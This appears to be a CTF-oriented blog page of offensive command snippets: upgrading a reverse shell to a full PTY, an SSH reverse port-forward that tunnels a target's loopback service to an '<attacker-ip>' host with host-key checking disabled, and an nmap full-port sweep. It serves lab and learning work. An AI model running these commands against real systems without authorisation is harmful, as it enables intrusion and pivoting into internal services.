M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

Upgrade a Dumb Shell to a Full PTY

Turn a raw reverse shell into a fully interactive TTY — job control, arrow keys, tab-complete, clear — via the classic python-pty + stty dance.

bash
# spawn a PTY inside the dumb shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# background it: Ctrl+Z, then fix the local terminal and pull it back
stty raw -echo; fg

# re-set a sane terminal so clear/less/vim behave
export TERM=xterm

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail

SSH Reverse Port-Forward (Pivot an Internal Service)

Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.

bash
# Run on the target (you need outbound SSH to your box). Afterwards the target's
# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail

Nmap Full TCP Port Sweep + Service Scan

Two-stage recon: fast all-ports scan, then version/script scan only the ports that came back open.

bash
# 1) fast sweep of all 65535 TCP ports
nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt <target-ip>

# 2) pull the open ports from the sweep, then deep-scan just those
ports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap-allports.txt | paste -sd, -)
nmap -sC -sV -p "$ports" -oN nmap-services.txt <target-ip>

used in: Nmap basics: host discovery and port scanning